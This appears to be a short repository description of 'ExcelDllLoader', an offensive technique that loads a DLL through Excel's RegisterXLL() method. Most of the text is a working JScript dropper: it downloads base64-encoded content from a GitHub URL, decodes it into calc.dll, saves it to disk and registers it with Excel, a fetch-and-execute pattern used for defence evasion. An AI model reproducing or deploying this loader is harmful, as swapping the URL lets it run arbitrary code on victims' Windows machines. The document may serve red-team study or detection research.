ExcelDllLoader

codegay

https://github.com/3gstudent/ExcelDllLoader

Execute DLL via the Excel.Application object's RegisterXLL() method

ExcelDllLoader.js:

Check if Microsoft Office has been installed
Download the dll from Github
Save the dll to %appdata%\Microsoft\Windows\Recent
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js：

Download the Base64 encoded text from Github
Base64 decoded and get the calc.dll
Save the dll to c:\test\calc.dll
Load it via the Excel.Application object's RegisterXLL() method



ExcelDllLoader(Base64decode).js:

1. x="c:\\test\\calc.dll";
   
2. h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
   
3. h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
   
4. h.Send();
   
5. enc=new ActiveXObject("System.Text.ASCIIEncoding");
   
6. length=enc.GetByteCount_2(h.ResponseText);
   
7. ba=enc.GetBytes_4(h.ResponseText);
   
8. transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
   
9. ba=transform.TransformFinalBlock(ba,0,length);
   
10. s=new ActiveXObject("ADODB.Stream");
    
11. s.Type=1;
    
12. s.Open();
    
13. s.Write(ba);       
    
14. s.SaveToFile(x,2);
    
15. new ActiveXObject("Excel.Application").RegisterXLL(x);

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